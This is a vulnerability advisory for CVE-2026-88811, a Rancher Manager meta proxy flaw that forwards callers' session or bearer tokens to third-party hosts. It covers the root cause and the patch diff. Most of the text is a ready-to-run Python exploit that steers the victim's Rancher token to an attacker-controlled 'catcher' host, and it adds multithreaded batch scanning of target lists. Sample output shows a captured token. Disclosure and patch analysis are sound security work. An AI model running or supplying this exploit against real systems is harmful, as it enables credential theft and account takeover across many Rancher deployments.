#Summary

CVE-2026-88811 is a critical information disclosure vulnerability (CVSS 9.1) in SUSE Rancher Manager's authenticated meta proxy endpoint. The proxy forwards a caller's own Rancher session token or bearer token to third-party hosts without stripping it, allowing credential leak and account takeover. The issue affects Rancher versions 2.11.0 through 2.15.2 and has been patched in 2.11.19, 2.12.15, 2.13.11, 2.14.7, and 2.15.3.

#Am I affected?

#How to check

Run the following command against your Rancher instance and check the version:

curl -sk https://rancher.your-domain.com/v3/meta/proxy 2>&1 | grep -i version

Or check the Rancher version directly:

curl -sk https://rancher.your-domain.com/rancherversion

Compare against the affected version ranges listed above. If your version falls within any affected range, your instance is vulnerable until you upgrade.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The meta proxy lives in pkg/httpproxy/proxy.go and is mounted at /meta/proxy in the Rancher router. Its purpose is to forward authenticated requests to allow-listed third-party hosts (typically cloud provider API endpoints) while attaching cloud credentials supplied by the caller.

The vulnerability stems from two linked defects in the header-copying logic:

Defect 1 - Missing headers in denylist: The proxy skips certain headers when copying from the incoming request to the outbound request. However, the badHeaders denylist was incomplete:

var (
    badHeaders = map[string]bool{
        "host":                    true,
        "transfer-encoding":       true,
        "content-length":          true,
        "x-api-auth-header":       true,
        "x-api-cattleauth-header": true,
        "cf-connecting-ip":        true,
        "cf-ray":                  true,
    }
)

Notably absent: "authorization" and "cookie". This means when the header copy loop runs, these critical authentication headers pass through unchanged:

for key, value := range req.Header {
    if isBadHeader(key) {
        continue  // skipped
    }
    copy := make([]string, len(value))
    for i := range value {
        copy[i] = strings.TrimPrefix(value[i], "rancher:")
    }
    headerCopy[key] = copy  // Authorization and Cookie are copied here
}

Defect 2 - Early return skips cleanup: The proxy has auth-handling branches that may return early. A cookie-scrubbing function replaceCookies() was placed after these branches:

if auth != "" {
    req.Header.Set(AuthHeader, auth)
} else if cAuth != "" {
    signer := newSigner(cAuth)
    if signer != nil {
        return signer.sign(req, p.secretGetter(req, cAuth), cAuth)  // <-- early return
    }
    req.Header.Set(AuthHeader, cAuth)
}

replaceCookies(req)  // <-- never reached when signer returns
return nil

When a caller supplies an X-API-CattleAuth-Header value that yields a signer, the function returns before the cookie scrub ever runs, leaving the caller's R_SESS session cookie intact on the outbound request.

#How input reaches the sink

  1. An authenticated user calls /meta/proxy/<target-host>/<path> with either:

    • Vector A: Authorization: Bearer <rancher-token> header
    • Vector B: Cookie: R_SESS=<rancher-token> plus X-API-CattleAuth-Header: arbitrary headers=...
  2. The proxy validates that <target-host> is in the allow-list and proceeds.

  3. The proxy copies all non-denied headers from the incoming request, including the Authorization or Cookie headers (which contain the caller's Rancher credential).

  4. If Vector B is used, the early-returning signer path skips the cookie scrub.

  5. The proxy forwards the request to the third-party host with the caller's credential intact.

  6. The third-party host (or an on-path observer) receives and can log or use the leaked credential.

#Patch diff

#What the fix does

PR #58223 makes two targeted changes to pkg/httpproxy/proxy.go:

  1. Add authorization and cookie to the denylist so they are never copied:
 		"content-length":          true,
 		"x-api-auth-header":       true,
 		"x-api-cattleauth-header": true,
+		"authorization":           true,
+		"cookie":                  true,
 		"cf-connecting-ip":        true,
 		"cf-ray":                  true,
  1. Move replaceCookies(req) before the auth branches so it always executes:
 	req.URL = destURL
 	req.Header = headerCopy
 
+	// Runs before the branches below, some of which return early.
+	replaceCookies(req)
+
 	if auth != "" {
 		req.Header.Set(AuthHeader, auth)
 	} else if cAuth != "" {

These changes ensure that caller credentials are always stripped before the outbound request is made, regardless of which code path executes.

#Proof of concept

#exploit.py - Rancher Credential Disclosure PoC

#!/usr/bin/env python3
"""
CVE-2026-88811 - SUSE Rancher Manager meta proxy credential disclosure
Affected: rancher/rancher 2.11.0-2.11.18, 2.12.0-2.12.14, 2.13.0-2.13.10,
          2.14.0-2.14.6, 2.15.0-2.15.2 (fixed in 2.11.19/2.12.15/2.13.11/2.14.7/2.15.3)
Type: Sensitive information disclosure (confused-deputy credential leak, CWE-201)

Root cause:
  Rancher's authenticated meta proxy (/meta/proxy/...) forwards a request to an
  allow-listed third-party host. While copying the caller's request headers onto
  the outbound request it fails to strip the caller's OWN Rancher credential:
    - "authorization" and "cookie" are missing from the bad-header denylist, so
      a caller's `Authorization: Bearer <token>` is copied verbatim to the host.
    - the cookie-scrub (replaceCookies) ran AFTER an early-returning auth branch,
      so when the caller supplies an X-API-CattleAuth-Header that yields a signer,
      the function returns before the scrub and the caller's `R_SESS` session
      cookie is forwarded to the host.
  A live Rancher session/bearer token therefore leaks to whatever allow-listed
  endpoint the proxy targets. If that endpoint is attacker-controlled or
  observable, the token can be replayed to act as the victim (full takeover if
  the victim is admin).

How this PoC confirms the leak over the network:
  The exploit drives the vulnerable Rancher instance to proxy a request to an
  allow-listed endpoint that the operator controls (--catcher-host). That
  endpoint reflects the request headers it received back in its HTTP response
  body; Rancher's reverse proxy relays that body to this client. If the exact
  Rancher token this client presented comes back inside the reflected headers,
  the token provably left Rancher and reached the third-party host - that is the
  disclosure. On a patched build the request still reaches the host, but with no
  Authorization and no R_SESS cookie, so the token never comes back.

  In a real engagement --catcher-host is any allow-listed host the attacker
  controls or can observe (a cloud-provider API host registered via a
  ProxyEndpoint, a host matching CATTLE_WHITELIST_DOMAIN, or an on-path observer);
  a one-line listener that logs or echoes request headers is all it takes.

Usage:
  python exploit.py --host 10.0.0.10 --port 443 \
      --catcher-host cloud-metadata-endpoint \
      --username admin --password <rancher-admin-password>
  python exploit.py --host https://rancher.corp.com --token token-xxxxx:yyyy... \
      --catcher-host ec2.eu-west-1.amazonaws.com
  python exploit.py --host rancher.corp.com --vector A --username admin --password pw
  python exploit.py --list targets.txt --workers 20 --password pw --catcher-host myhost
"""

import argparse
import json
import secrets
import sys
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("This exploit requires the 'requests' library (pip install requests).")
    sys.exit(2)

CVE_ID = "CVE-2026-88811"
VULN_TYPE = "Info Disclosure (credential leak)"

LOGIN_PATH = "/v3-public/localProviders/local?action=login"
PROXY_PREFIX = "/meta/proxy/http:/"  # single-slash form forces a plain-HTTP target
# Marker injected on Vector B; confirms the signer early-return path executed.
SIGNER_CATTLEAUTH = "arbitrary headers=X-Extra=one"


def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


def _base_url(host, port, use_tls):
    scheme = "https" if use_tls else "http"
    return "%s://%s:%d" % (scheme, host, port)


def _login(base, username, password, timeout=30):
    """Return a Rancher token string, or None on failure."""
    try:
        r = requests.post(
            base + LOGIN_PATH,
            headers={"Content-Type": "application/json"},
            data=json.dumps({"username": username, "password": password}),
            verify=False,
            timeout=timeout,
        )
        if not (200 <= r.status_code < 300):
            return None
        return r.json().get("token") or None
    except (requests.RequestException, ValueError):
        return None


def _build_leak_request(base, catcher_host, token, vector, probe_path):
    """Return (url, headers) for the chosen leak vector."""
    url = base + PROXY_PREFIX + catcher_host + "/" + probe_path
    if vector == "A":
        # Authorization leak: present only the bearer token, no X-API-* header
        # (any X-API-Auth-Header would overwrite Authorization and mask the leak).
        headers = {"Authorization": "Bearer " + token}
    else:
        # Cookie leak via the signer early-return path (vector the fix pins down).
        headers = {
            "Cookie": "R_SESS=" + token,
            "X-API-CattleAuth-Header": SIGNER_CATTLEAUTH,
        }
    return url, headers


def _token_reflected(body_text, token):
    """True if the exact token came back inside the reflected request headers."""
    if not body_text or token not in body_text:
        return False
    # Prefer structured confirmation: token must sit in a header value that the
    # third-party endpoint reported receiving, not merely anywhere in the body.
    try:
        data = json.loads(body_text)
        recv = data.get("received_headers", {})
        for v in recv.values():
            if token in str(v):
                return True
        # Endpoint returned JSON but without a recognised reflection map; fall
        # back to the raw-substring signal below.
    except ValueError:
        pass
    return token in body_text


def _try_exploit(host, port, use_tls, catcher_host="cloud-metadata-endpoint",
                 token=None, username="admin", password=None, vector="B",
                 timeout=30):
    """Silent probe for scan mode. Returns (success, evidence). Never prints/exits."""
    base = _base_url(host, port, use_tls)
    tok = token
    if not tok:
        if not password:
            return False, "no token and no password to log in with"
        tok = _login(base, username, password, timeout=timeout)
        if not tok:
            return False, "login failed (bad creds or not Rancher)"
    probe_path = "p" + secrets.token_hex(6)
    url, headers = _build_leak_request(base, catcher_host, tok, vector, probe_path)
    try:
        r = requests.get(url, headers=headers, verify=False, timeout=timeout,
                         allow_redirects=False)
    except requests.RequestException as e:
        return False, "proxy request failed (%s)" % e.__class__.__name__
    if _token_reflected(r.text, tok):
        tok_id = tok.split(":", 1)[0]
        return True, "Rancher token '%s:...' forwarded to third-party host (vector %s)" % (tok_id, vector)
    if r.status_code in (401, 403):
        return False, "proxy refused (HTTP %d) - token invalid or route gated" % r.status_code
    return False, "token NOT reflected by third party (HTTP %d) - patched or host not allow-listed" % r.status_code


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers, catcher_host, token, username,
         password, vector):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _ = t
        label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, catcher_host=catcher_host,
                                    token=token, username=username,
                                    password=password, vector=vector)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, catcher_host, token, username, password, vector):
    header(host, port)
    base = _base_url(host, port, use_tls)

    tok = token
    if tok:
        step(1, "Using caller-supplied Rancher token")
    else:
        step(1, "Logging in to obtain a Rancher token (user '%s')" % username)
        if not password:
            done(False, "no --token and no --password supplied; cannot obtain a credential to leak")
        tok = _login(base, username, password)
        if not tok:
            done(False, "login failed - wrong credentials, or target is not a Rancher local-auth endpoint")
    tok_id = tok.split(":", 1)[0]
    section("RANCHER CREDENTIAL (must not leak off-box)", "%s:<secret redacted in log>" % tok_id)

    probe_path = "p" + secrets.token_hex(6)
    url, headers = _build_leak_request(base, catcher_host, tok, vector, probe_path)
    step(2, "Driving meta proxy to forward to allow-listed host '%s' via vector %s" % (catcher_host, vector))
    print("        %s" % url)

    try:
        r = requests.get(url, headers=headers, verify=False, timeout=30,
                         allow_redirects=False)
    except requests.RequestException as e:
        done(False, "proxy request failed: %s" % e)

    step(3, "Inspecting what the third-party host reports receiving")
    section("THIRD-PARTY HOST RESPONSE (relayed by Rancher proxy, HTTP %d)" % r.status_code, r.text[:2000])

    if _token_reflected(r.text, tok):
        # Show the leaked header so the equality is visible in the proof.
        leaked = ""
        try:
            recv = json.loads(r.text).get("received_headers", {})
            if vector == "A":
                leaked = "Authorization: " + str(recv.get("Authorization", ""))
            else:
                leaked = "Cookie: " + str(recv.get("Cookie", ""))
                if recv.get("X-Extra"):
                    leaked += "  (X-Extra: %s -> signer early-return path ran)" % recv.get("X-Extra")
        except ValueError:
            leaked = "token present in reflected body"
        section("LEAKED CREDENTIAL AT THIRD PARTY", leaked)
        done(True, "Rancher token '%s:...' forwarded to third-party host '%s' (vector %s) - credential disclosure confirmed"
             % (tok_id, catcher_host, vector))

    if r.status_code in (401, 403):
        done(False, "proxy refused (HTTP %d) - token invalid or /meta/proxy gated" % r.status_code)
    done(False, "token NOT returned by the third-party host - target patched, or '%s' is not allow-listed" % catcher_host)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target Rancher: hostname, IP, or full URL (e.g. https://host:443)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one Rancher target per line for batch scan")
    parser.add_argument("--port", type=int, default=443, help="Rancher HTTPS port (default: 443)")
    parser.add_argument("--catcher-host", default="cloud-metadata-endpoint",
                        help="Allow-listed, attacker-controlled endpoint the proxy forwards to; "
                             "it must reflect/log inbound request headers (default: cloud-metadata-endpoint)")
    parser.add_argument("--token", default=None,
                        help="Rancher session/bearer token to leak (token-<id>:<secret>); "
                             "if omitted, log in with --username/--password")
    parser.add_argument("--username", default="admin", help="Rancher user for login (default: admin)")
    parser.add_argument("--password", default=None, help="Rancher password for login (needed if --token absent)")
    parser.add_argument("--vector", choices=["A", "B"], default="B",
                        help="Leak vector: A=Authorization header, B=Cookie via signer early-return (default: B)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             catcher_host=args.catcher_host, token=args.token,
             username=args.username, password=args.password, vector=args.vector)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, True, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        # Rancher speaks HTTPS by default; a bare host/IP should assume TLS.
        if not (args.host.startswith(("http://", "https://")) or args.no_tls):
            use_tls = True
        exploit(host, port, use_tls, args.catcher_host, args.token,
                args.username, args.password, args.vector)

#Usage

Log in and leak via the Cookie vector (B, the default):

python exploit.py --host rancher.corp.com --port 443 \
    --username admin --password <rancher-admin-password> \
    --catcher-host <allow-listed-host-you-control>

Use an existing token instead of logging in, with the Authorization vector:

python exploit.py --host https://10.0.0.10 --token token-abcde:secret... \
    --vector A --catcher-host ec2.eu-west-1.amazonaws.com

Batch scan a list of Rancher instances:

python exploit.py --list targets.txt --workers 20 \
    --username admin --password <pw> --catcher-host <allow-listed-host>

Success on vulnerable Rancher v2.14.6:

[STEP 1] Logging in to obtain a Rancher token (user 'admin')

--- RANCHER CREDENTIAL (must not leak off-box) ---
token-xnrlk:<secret redacted in log>
---

[STEP 2] Driving meta proxy to forward to allow-listed host 'cloud-metadata-endpoint' via vector B
        https://127.0.0.1:8443/meta/proxy/http:/cloud-metadata-endpoint/p7bef63aad7e4
[STEP 3] Inspecting what the third-party host reports receiving

--- THIRD-PARTY HOST RESPONSE (relayed by Rancher proxy, HTTP 200) ---
{"ok": true, "method": "GET", "path": "/p7bef63aad7e4", "received_headers": {"Host": "cloud-metadata-endpoint", "User-Agent": "python-requests/2.33.1", "Accept": "*/*", "Accept-Encoding": "gzip, deflate, zstd", "Cookie": "R_SESS=token-xnrlk:9xb2vj8d9fksz8qq94fq5zb96jmgvbfrhpjzdjrkx66f56fxwjjbbp", "X-Extra": "one", "X-Forwarded-For": "192.168.96.1", "X-Forwarded-Proto": "https"}}
---

--- LEAKED CREDENTIAL AT THIRD PARTY ---
Cookie: R_SESS=token-xnrlk:9xb2vj8d9fksz8qq94fq5zb96jmgvbfrhpjzdjrkx66f56fxwjjbbp  (X-Extra: one -> signer early-return path ran)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Rancher token 'token-xnrlk:...' forwarded to third-party host 'cloud-metadata-endpoint' (vector B) - credential disclosure confirmed
============================================================

#Exploitation notes

#References